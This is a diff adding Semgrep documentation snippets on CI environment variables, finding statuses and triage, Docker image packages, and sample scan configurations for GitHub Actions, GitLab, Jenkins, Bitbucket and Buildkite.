+export SEMGREP_GIT_COMMAND_TIMEOUT="180"
+```
+
+### `SEMGREP_RULES`
+
+Set `SEMGREP_RULES` to define rules and rulesets for your scan. Findings are logged within your CI environment. `SEMGREP_RULES` is incompatible with `SEMGREP_APP_TOKEN`.
+
+Examples:
+
+```bash
+# Define a single ruleset:
+export SEMGREP_RULES="p/default"
+
+# Define multiple rule sources, delimited by a space:
+export SEMGREP_RULES="p/default no-exec.yml"
+```
+
+
+**CAUTION**
+
+Do not set `SEMGREP_APP_TOKEN` environment variable within the same CI job as `SEMGREP_RULES`.
+
+
+### `SEMGREP_TIMEOUT`
+
+Set `SEMGREP_TIMEOUT` to define a custom timeout. The value must be in seconds. The default value is 5 seconds. This timeout refers to the maximum amount of time Semgrep spends running a single rule on a single file. By default, it attempts to scan each rule/file combination with this timeout three times; you can control this using `--timeout-threshold`.
+
+Example:
+
+```bash
+export SEMGREP_TIMEOUT="20"
+```
+
+## Environment variables for creating hyperlinks in Semgrep AppSec Platform
+
+By default, Semgrep AppSec Platform autodetects values such as the name of your repository, which Semgrep uses to generate hyperlinks (URLs) to the specific repository code that generated the finding. These hyperlinks are in the [Findings](/semgrep-code/findings) page.
+
+Set any as needed or all of the following environment variables to troubleshoot and override autodetected CI environment values.
+
+### `SEMGREP_BRANCH`
+
+Set `SEMGREP_BRANCH` to define the branch name for the scan, if the branch name is not auto-detected or you want to override it. The branch name is used in the following ways:
+
+* To track findings in the same branch over time
+* To show in which branches a finding was identified (including links to the branch in the [Findings](/semgrep-code/findings) page)
+
+To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
+
+Examples:
+
+Within a Bash environment:
+
+```bash
+# This is a hardcoded value and must be changed to scan other branches.
+export SEMGREP_BRANCH="juice-shop-1"
+```
+
+Within a Buildkite configuration file:
+
+```yaml
+- label: ":semgrep: Semgrep"
+commands:
+ # Use a Buildkite environment variable.
+ # It automatically sets the current branch the job is scanning.
+ - export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
+ ...
+```
+
+Semgrep AppSec Platform normalizes the branch prefix `refs/heads/` for findings, so the branch value `refs/heads/develop` is treated the same way as `develop`.
+
+### `SEMGREP_COMMIT`
+
+Set `SEMGREP_COMMIT` to define the commit hash for the URL used to generate hyperlinks in the [Findings](/semgrep-code/findings) page. To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
+
+Examples:
+
+Within a Bash environment:
+
+```bash
+# This is a hardcoded value and must be changed to scan other branches.
+export SEMGREP_COMMIT="e0802db56318803b09e1023955d4f4767fc934ed"
+```
+
+Within a Bitbucket Pipelines configuration file:
+
+```yaml
+image: atlassian/default-image:latest
+
+pipelines:
+ default:
+ - parallel:
+ - step:
+ name: 'Run Semgrep scan with current branch'
+ script:
+ # Use a Bitbucket Pipelines environment variable.
+ # It automatically sets the current commit the job is scanning.
+ - export SEMGREP_COMMIT=$BITBUCKET_COMMIT
+ ...
+```
+
+### `SEMGREP_REPO_NAME`
+
+Set `SEMGREP_REPO_NAME` to create a repository name when scanning with a [CI provider that Semgrep doesn't provide explicit support for](/deployment/add-semgrep-to-other-ci-providers/). For hyperlinks and PR comments to work, this name should be the same as the repository name understood by your CI provider.
+
+To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
+
+Semgrep automatically detects `SEMGREP_REPO_NAME` if your [provider is listed in Semgrep AppSec Platform](/deployment/add-semgrep-to-other-ci-providers). In this case, there is no need to set the variable.
+
+Examples:
+
+Within a Bash environment:
+
+```bash
+# This is a hardcoded value and must be changed to scan other repositories.
+export SEMGREP_REPO_NAME="corporation/s_juiceshop"
+```
+
+Within a CircleCI environment:
+
+```yaml
+jobs:
+ semgrep-scan:
+ environment:
+ ...
+ # Use a CircleCI environment variable.
+ # It automatically sets the current repository name the job is scanning.
+ SEMGREP_REPO_NAME: '$CIRCLE_PROJECT_USERNAME/$CIRCLE_PROJECT_REPONAME'
+ ...
+
+```
+
+### `SEMGREP_REPO_DISPLAY_NAME`
+
+Set `SEMGREP_REPO_DISPLAY_NAME` to define the name displayed for the project in Semgrep AppSec Platform. By default, `SEMGREP_REPO_DISPLAY_NAME` has the same value as `SEMGREP_REPO_NAME`. This allows you to use a different name for your project than the repository name, while retaining hyperlink and PR/MR comment functionality. It can also be used when [scanning a monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts) to display each part as a separate project in Semgrep AppSec Platform.
+
+
+**INFO**
+
+This environment variable only works with Semgrep versions 1.61.1 and later.
+
+
+Setting `SEMGREP_REPO_DISPLAY_NAME` only changes the project that scan results are reported to. The scan still uses the configuration information, such as [project ignores](/ignoring-files-folders-code#define-ignored-files-and-folders-in-semgrep-appsec-platform), from the repo name detected by Semgrep or set by `SEMGREP_REPO_NAME`.
+
+### `SEMGREP_REPO_URL`
+
+Set `SEMGREP_REPO_URL` to define the repository URL used to generate hyperlinks in the [Findings](/semgrep-code/findings) page. To avoid hardcoding this value, check your CI provider's documentation for available variables that provide the correct values for every CI job.
+
+Examples:
+
+Within a Bash environment:
+
+```bash
+# This is a hardcoded value and must be changed to scan other repositories.
+export SEMGREP_REPO_URL="https://github.com/corporation/s_juiceshop"
+```
+
+Within a CircleCI environment:
+
+```yaml
+jobs:
+ semgrep-scan:
+ environment:
+ ...
+ # Use a CircleCI environment variable.
+ # It automatically sets the current repository URL.
+ SEMGREP_REPO_URL: << pipeline.project.git_url >>
+ ...
+```
+
+## Environment variable for creating comments in pull requests or merge requests
+
+The following environment variable enables Semgrep AppSec Platform to create comments within your source code management (SCM) tool when Semgrep scans a pull request or merge request. These comments can include code suggestions to fix a finding.
+
+
+### `SEMGREP_PR_ID`
+
+Set `SEMGREP_PR_ID` to enable Semgrep to leave PR or MR comments in your SCM. Check your CI provider's documentation for available variables that provide the correct values for every CI job.
+
+The following example uses Azure Pipelines:
+
+```yaml
+...
+steps:
+ - script: |
+ ...
+ SEMGREP_PR_ID: $(System.PullRequest.PullRequestNumber)
+ ...
+```
+
+## Environment variable for creating comments in Bitbucket pull requests
+
+
+### `BITBUCKET_TOKEN`
+
+**Optional**: If you're not receiving PR comments or your code hyperlinks aren't displaying in Semgrep AppSec Platform, try setting the `BITBUCKET_TOKEN` environment variable. The value of this environment variable must be a Personal Access Token (PAT) generated from Bitbucket Cloud. See [Bitbucket PR comments](/semgrep-appsec-platform/bitbucket-cloud-pr-comments) for instructions.
+
+Example:
+
+```yaml
+- export BITBUCKET_TOKEN=$PAT
+```
+
+## Environment variable to connect to a single-tenant Semgrep AppSec Platform
+
+
+### `SEMGREP_APP_URL`
+
+Set `SEMGREP_APP_URL` to define the URL of a single-tenant Semgrep AppSec Platform to send findings and use rules from the **Policies** page of a Semgrep organization under the tenant. The default value is the URL of the multi-tenant Semgrep AppSec Platform `https://semgrep.dev`.
+
+Example:
+```bash
+export SEMGREP_APP_URL=https://mycompany.semgrep.dev
+```
+
+
+
+
diff --git a/mintlify-docs/snippets/semgrep-ci/findings-ci.mdx b/mintlify-docs/snippets/semgrep-ci/findings-ci.mdx
new file mode 100644
index 0000000000..66cc965c6b
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-ci/findings-ci.mdx
@@ -0,0 +1,58 @@
+In the code, a Semgrep finding in CI is defined by a 4-tuple:
+
+```text
+(rule ID, file path, syntactic context, index)
+```
+
+These states correspond to:
+
+1. `rule ID`: The rule's ID within the Semgrep ecosystem.
+1. `file path`: The filesystem path where the finding occurred.
+1. `syntactic context`: The lines of code corresponding to the finding.
+1. `index`: An index into identical findings within a file. This is used to disambiguate findings if the same `syntactic context` occurs multiple times in the same file.
+
+## Semgrep Code findings
+
+Semgrep AppSec Platform builds on CI findings to track status and provide additional context for managing findings within your organization. A finding can be one of four statuses in Semgrep AppSec Platform:
+
+* `OPEN`
+* `PROVISIONALLY_IGNORED`
+* `REVIEWING`
+* `FIXING`
+* `IGNORED`
+* `FIXED`
+
+### Finding status
+
+You can manage finding status through triage in Semgrep AppSec Platform's **Findings** page. The finding statuses are as follows:
+
+| Status | Description |
+| :--- | :--- |
+| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
+| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
+| **Provisionally ignored** | Findings that Semgrep Multimodal has flagged as false positives. You can change the status to **Ignored** if you agree with Multimodal's assement. Otherwise, you can change the status to **To fix** if you disagree. |
+| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
+| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
+| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
+| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
+
+### Removed findings
+
+Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
+
+- The rule that detected the finding isn't enabled in the policy anymore.
+- The rule that detected the finding was updated in a way that it no longer detects the finding.
+- The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
+- For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
+
+Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
+
+### Triage behavior across refs and branches
+
+- When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
+- At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
+ - **Full scans**: if the current branch includes a finding that was
+ - Previously introduced in another branch ***and***
+ - Triaged to a specific state
+ **Then** the finding in the current branch is triaged to that same state.
+ - **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
diff --git a/mintlify-docs/snippets/semgrep-ci/packages-in-semgrep-docker.mdx b/mintlify-docs/snippets/semgrep-ci/packages-in-semgrep-docker.mdx
new file mode 100644
index 0000000000..d9638ab6b3
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-ci/packages-in-semgrep-docker.mdx
@@ -0,0 +1,33 @@
+## Packages
+
+In addition to the `semgrep` binary, the [`semgrep/semgrep:latest` docker image](https://hub.docker.com/r/semgrep/semgrep/tags) contains the following packages:
+
+- `bash`
+- `jq`
+- `curl`
+- Python 3.11 (`alpine:3.22` base image)
+
+The Alpine 3.22 docker image includes additional packages that can change without notice. To review them, run `docker run alpine:3.22 apk list`.
+
+
+**CAUTION**
+
+* Do **not** rely on the presence of packages from the Alpine docker image in your CI workflows. They are not guaranteed to be included in the future and are not managed by Semgrep.
+* `jq` and `curl` may be removed in future Semgrep releases. You can install them directly in the Docker image if necessary. For example:
+
+```yaml
+ job:
+ container: semgrep/semgrep:latest
+ runs-on: ubuntu-latest-16-core
+ steps:
+ - uses: actions/checkout@v6
+ - name: Install dependencies
+ run: apk add bash jq curl
+ - run: semgrep scan --json ... | jq ...
+```
+
+
+
+## Previous incidents
+
+- [ Semgrep v.1.66.0](https://github.com/semgrep/semgrep/releases/tag/v1.66.0) removed `bash`, `jq`, and `curl` to reduce the attack surface of the Semgrep docker image. They were subsequently re-added for future Semgrep releases.
diff --git a/mintlify-docs/snippets/semgrep-ci/sample-ci-configs.mdx b/mintlify-docs/snippets/semgrep-ci/sample-ci-configs.mdx
new file mode 100644
index 0000000000..addb117a52
--- /dev/null
+++ b/mintlify-docs/snippets/semgrep-ci/sample-ci-configs.mdx
@@ -0,0 +1,846 @@
+## Feature support
+
+Support for certain features of Semgrep AppSec Platform depends on your CI provider or source code management (SCM) tool.
+
+| Feature | GitHub with GitHub Actions | GitLab with GL CI/CD | *GitHub, GitLab, or Bitbucket with other CI providers |
+| :--- | :--- | :--- | :--- |
+| **Diff-aware scanning** | ✅ | ✅ | ✅ |
+| **Hyperlinks** | ✅ | ✅ | ✅ |
+| **PR or MR comments** | ✅ | ✅ | ✅ |
+| **SCM security dashboard** | ✅ GitHub Advanced Security Dashboard | ✅ GitLab Security Dashboard | ❌ No |
+
+*For example, if you use CircleCI as your CI provider on a GitHub repository, Semgrep AppSec Platform does not have any support for GitHub Advanced Security Dashboard.
+
+### Feature definitions
+
+| Feature | Description |
+| :--- | :--- |
+| Diff-aware scanning | Semgrep AppSec Platform can scan only changes in files when running on a pull request or merge request (PR or MR). This keeps the scan fast and reduces finding duplication. |
+| Hyperlinks to code | Semgrep AppSec Platform collects findings in a Findings page. In this page, you can click on a finding to return to your SCM (GitHub, GitLab, or Bitbucket) to view the lines of code in your repository that generated the finding. |
+| Receiving results (findings) as PR or MR comments | This feature enables you to receive PR or MR comments from Semgrep AppSec Platform on the lines of code that generated a finding. |
+| SCM security dashboard | Send Semgrep findings to your SCM's security dashboard. |
+
+
+## GitHub Actions
+
+To add a Semgrep configuration file in your GitHub Actions pipeline:
+
+
+
+Create a `semgrep.yml` file in `.github/workflows` in the repository you want to scan.
+
+
+Copy the relevant code snippet provided in [Sample GitHub Actions configuration file](#sample-github-actions-configuration-file).
+
+
+Paste the relevant code snippet to `semgrep.yml` file. This is your Semgrep configuration file for GitHub Actions.
+
+
+Commit the configuration file under /REPOSITORY-ROOT-DIRECTORY/.github/workflows/semgrep.yml.
+
+
+The Semgrep job starts automatically upon detecting the committed `semgrep.yml` file.
+
+
+**NOTE**
+
+If you are self-hosting your repository, you must [use a self-hosted runner](https://docs.github.com/en/actions/using-jobs/choosing-the-runner-for-a-job#choosing-self-hosted-runners).
+
+
+
+
+### Sample GitHub Actions configuration file
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
+ push:
+ branches:
+ - main
+ - master
+ paths:
+ - .github/workflows/semgrep.yml
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+permissions:
+ contents: read
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+
+
+
+The following configuration creates a CI job that runs Semgrep Community Edition (CE) scans using rules configured for your programming language.
+
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep CE scan
+
+on:
+ # Scan in PRs:
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan mainline branches and report all findings:
+ push:
+ branches: ["master", "main"]
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+permissions:
+ contents: read
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep-oss/scan
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep scan" command on the command line of the docker image.
+ - run: semgrep scan --config auto
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+
+**CAUTION**
+
+If you define both `branches` or `branches-ignore` *and* `paths` or `paths-ignore`, the workflow only runs when both filters are satisfied.
+
+For example, if your configuration file includes the following definition, the workflow runs only if there are changes on the `development` branch to `.github/workflows/semgrep.yml` :
+
+```yaml
+push:
+ branches:
+ - development
+ paths:
+ - .github/workflows/semgrep.yml
+```
+
+
+
+
+
+
+## GitLab CI/CD
+
+To add a Semgrep configuration snippet in your GitLab CI/CD pipeline:
+
+
+
+Create or edit your `.gitlab-ci.yml` file in the repository you want to scan.
+
+
+Copy the relevant code snippet provided in [Sample GitLab CI/CD configuration snippet](#sample-gitlab-cicd-configuration-snippet), and then paste it to your `.gitlab-ci.yml` file.
+
+
+Commit the updated `.gitlab-ci.yml` file.
+
+
+The Semgrep job starts automatically upon detecting the committed `.gitlab-ci.yml` file. You can also view the job from your GitLab project's **CI/CD > Pipelines** page.
+
+
+### Sample GitLab CI/CD configuration snippet
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+```yaml
+semgrep:
+ # A Docker image with Semgrep installed.
+ image: semgrep/semgrep
+ # Run the "semgrep ci" command on the command line of the docker image.
+ script: semgrep ci
+
+ rules:
+ # Allow triggering a scan manually from the GitLab UI
+ - if: $CI_PIPELINE_SOURCE == "web"
+ # Scan changed files in MRs, (diff-aware scanning):
+ - if: $CI_MERGE_REQUEST_IID
+ # Scan mainline (default) branches and report all findings.
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+
+ variables:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it as a variable in your GitLab CI/CD project settings.
+ SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+Prefer to use GitLab group variables? See [this guide](/kb/semgrep-code/gitlab-group-variables) for an appropriate configuration.
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+```yaml
+semgrep:
+ # A Docker image with Semgrep installed.
+ image: semgrep/semgrep
+ # Run the "semgrep scan" command on the command line of the docker image.
+ script: semgrep scan --config auto .
+
+ rules:
+ # Scan in MRs.
+ - if: $CI_MERGE_REQUEST_IID
+
+ # Scan mainline (default) branches and report all findings.
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+
+
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+
+
+## Jenkins
+
+
+**NOTE**
+
+Your user interface (UI) may vary depending on your Jenkins installation. The following steps refer to Jenkins' Classic UI.
+
+
+To add a Semgrep configuration snippet in your Jenkins pipeline:
+
+
+
+Create or edit your `Jenkinsfile` configuration file in the repository you want to scan. You can also edit your `Jenkinsfile` from Jenkins's interface.
+
+
+Copy the relevant code snippet provided in [Sample Jenkins configuration snippet](#sample-jenkins-configuration-snippet).
+
+
+Paste the code to your `Jenkinsfile`, and then commit the file.
+
+
+
+The Semgrep job starts automatically upon detecting the `Jenkinsfile` update.
+
+
+Optional: Create a separate CI job for diff-aware scanning, which scans only changed files in PRs or MRs, by repeating steps 1-3 and uncommenting the `SEMGREP_BASELINE_REF` definition provided within the code snippet.
+
+
+
+### Sample Jenkins configuration snippet
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+```js expandable
+pipeline {
+ agent any
+ environment {
+ // The following variable is required for a Semgrep AppSec Platform-connected scan:
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+
+ // Uncomment the following line to scan changed
+ // files in PRs or MRs (diff-aware scanning):
+ // SEMGREP_BASELINE_REF = "main"
+
+ // Troubleshooting:
+
+ // Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
+ // to the code that generated a finding or if you are not receiving PR or MR comments.
+ // SEMGREP_JOB_URL = "${BUILD_URL}"
+ // SEMGREP_COMMIT = "${GIT_COMMIT}"
+ // SEMGREP_BRANCH = "${GIT_BRANCH}"
+ // SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*).git$/, '$1')
+ // SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(.*).git$/,'$1')
+ // SEMGREP_PR_ID = "${env.CHANGE_ID}"
+ }
+ stages {
+ stage('Semgrep-Scan') {
+ steps {
+ sh '''docker pull semgrep/semgrep && \
+ docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_REPO_URL=$SEMGREP_REPO_URL \
+ -e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
+ -e SEMGREP_BRANCH=$SEMGREP_BRANCH \
+ -e SEMGREP_COMMIT=$SEMGREP_COMMIT \
+ -e SEMGREP_PR_ID=$SEMGREP_PR_ID \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci '''
+ }
+ }
+ }
+}
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+This code snippet uses Jenkins declarative syntax.
+
+```groovy
+pipeline {
+ agent any
+ stages {
+ stage('Semgrep-Scan') {
+ steps {
+ sh 'pipx install semgrep'
+ sh 'semgrep scan --config auto'
+ }
+ }
+ }
+}
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+## Bitbucket Pipelines
+
+To add a Semgrep configuration snippet into Bitbucket Pipelines:
+
+
+
+Create or edit your `bitbucket-pipelines.yml` file in the repository you want to scan.
+
+
+Copy the relevant code snippet provided in [Sample Bitbucket Pipelines configuration snippet](#sample-bitbucket-pipelines-configuration-snippet), and then paste it to your `bitbucket-pipelines.yml`.
+
+
+Commit the updated `bitbucket-pipelines.yml` configuration file.
+
+
+The Semgrep job starts automatically upon detecting the committed `bitbucket-pipelines.yml` file. You can view the job through Bitbucket's interface, by clicking **REPOSITORY_NAME > Pipelines**.
+
+
+Optional: Create a daily scheduled run for the custom pipeline on the main branch by [scheduling a pipeline in Bitbucket](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule).
+
+
+**NOTE**
+
+These steps can also be performed through Bitbucket's UI wizard. This UI wizard can be accessed through **Bitbucket > REPOSITORY_NAME > Pipelines > Create your first pipeline**.
+
+
+
+
+### Sample Bitbucket Pipelines configuration snippet
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+```yaml expandable
+image: semgrep/semgrep:latest
+
+pipelines:
+ branches:
+ # Change to your default branch if different from main
+ main:
+ - step:
+ name: Semgrep scan on push
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ - semgrep ci
+
+ pull-requests:
+ '**': # This applies to pull requests for all branches
+ - step:
+ name: Semgrep scan on PR
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ # Change to your default branch if different from main
+ - export SEMGREP_BASELINE_REF="origin/main"
+ - git fetch origin "+refs/heads/*:refs/remotes/origin/*"
+ - semgrep ci
+
+ custom:
+ # Trigger job manually. For cron in Bitbucket, see: https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/#On-schedule
+ semgrep-manual:
+ - step:
+ name: Semgrep manual scan
+ script:
+ - export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
+ - semgrep ci
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+```yaml
+image: semgrep/semgrep:latest
+
+pipelines:
+ default:
+ - parallel:
+ - step:
+ name: 'Run Semgrep scan with current branch'
+ deployment: dev # https://support.atlassian.com/bitbucket-cloud/set-up-and-monitor-deployments/
+ script:
+ - semgrep scan --config auto
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
+
+**TIP**
+
+If the pipeline's default runner runs out of memory, you can limit the number of subprocesses Semgrep uses with the [`-j` flag](/cli-reference), or [add the `size` directive](https://support.atlassian.com/bitbucket-cloud/global-options/#Size) to the Semgrep step to increase the memory available:
+
+```yaml
+pipelines:
+ default:
+ - step:
+ size: 2x
+ script:
+ - echo "This step gets double the memory!"
+```
+
+
+
+
+## Buildkite
+
+To add Semgrep into your Buildkite pipeline:
+
+
+
+Prepare a configuration file to add a Semgrep scan as part of your pipeline. This configuration file can be stored within Buildkite or as a `pipeline.yml` file in the target repository.
+
+
+Copy the code snippet provided in [Sample Buildkite configuration snippet](#sample-buildkite-configuration-snippet), making alterations if necessary for your environment.
+
+
+If you are using Buildkite to store the configuration, save the updated file. Otherwise, commit the updated `pipeline.yml` file into the `/.buildkite` folder within the target repository.
+
+
+The Semgrep job starts automatically upon detecting the committed `pipeline.yml` file. Alternatively, if you are using the Buildkite UI, you can select **New build**. You can view the job through Buildkite's interface by clicking **Pipelines > pipeline name**.
+
+
+**NOTE**
+
+These steps can be performed within Buildkite's UI. To do so, navigate to Buildkite's main page, and click **Pipelines > New Pipeline**.
+
+
+
+
+### Sample Buildkite configuration snippet
+
+
+
+
+
+The following configuration creates a CI job that runs scans according to the products you have enabled in Semgrep AppSec Platform. The provided environment variables are commonly needed to correctly configure scans from Buildkite.
+
+This file configures two mutually exclusive command steps, one for full scans, and one for diff-aware scans. The latter is used for pull requests or merge requests.
+
+In order for this configuration to run the correct type of scan for each condition, it requires both [branch filtering](https://buildkite.com/pipelines/branch-configuration) and configuration to build on pull requests.
+
+#### Branch filtering
+
+
+
+In the Buildkite UI, go to the pipeline **Settings** and select the connected source code manager in the left sidebar.
+
+
+Under **Branch Limiting**, enter your default branch name in the **Branch Filter Pattern** box. You can include any other branch names that require full scans as well, such as `release-*`.
+
+
+Click **Save Branch Limiting**.
+
+
+
+#### Build on pull requests
+
+To run diff-aware scans, your pipeline must run builds on pull requests or merge requests. Buildkite integrates with several source code managers and each one has different options to handle PRs or MRs. The most common options are a checkbox within the pipeline settings, or webhooks within the source control manager. Review the [documentation for your source control](https://buildkite.com/integrations/source-control) system to ensure your Semgrep pipeline builds on pull requests or merge requests.
+
+```yaml expandable
+- label: ":semgrep: Semgrep Full Scan"
+ commands:
+ - if [[ $BUILDKITE_COMMIT =~ ^[a-fA-F0-9]{40}$ ]]; then export SEMGREP_COMMIT=${BUILDKITE_COMMIT}; fi
+ - export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
+ - export SEMGREP_REPO_URL=${BUILDKITE_REPO}
+ - export SEMGREP_REPO_NAME="$(echo "$BUILDKITE_REPO" | sed -e 's#git@github.com:##' | sed -e 's#.git##')"
+ - semgrep ci
+ if: |
+ build.pull_request.id == null
+
+- label: ":semgrep: Semgrep Diff Scan"
+ commands:
+ - if [[ $BUILDKITE_COMMIT =~ ^[a-fA-F0-9]{40}$ ]]; then export SEMGREP_COMMIT=${BUILDKITE_COMMIT}; fi
+ - export SEMGREP_PR_ID=${BUILDKITE_PULL_REQUEST}
+ - export SEMGREP_BRANCH=${BUILDKITE_BRANCH}
+ - export SEMGREP_REPO_URL=${BUILDKITE_REPO}
+ - export SEMGREP_REPO_NAME="$(echo "$BUILDKITE_REPO" | sed -e 's#git@github.com:##' | sed -e 's#.git##')"
+ - SEMGREP_BASELINE_REF=${BUILDKITE_PULL_REQUEST_BASE_BRANCH} semgrep ci
+ if: |
+ build.pull_request.id != null
+
+ plugins:
+ - docker#v5.11.0:
+ image: semgrep/semgrep:latest
+ environment:
+ # The following variable is required to set up a scan connected to Semgrep AppSec Platform:
+ - "SEMGREP_APP_TOKEN"
+```
+
+You can [run specific product scans by passing the appropriate argument](/getting-started/cli#scan-using-specific-semgrep-products), such as `--supply-chain`.
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+```yaml
+- label: ":semgrep: Semgrep CE"
+ commands:
+ - semgrep scan --config auto
+ plugins:
+ - docker#v5.11.0:
+ image: semgrep/semgrep
+```
+
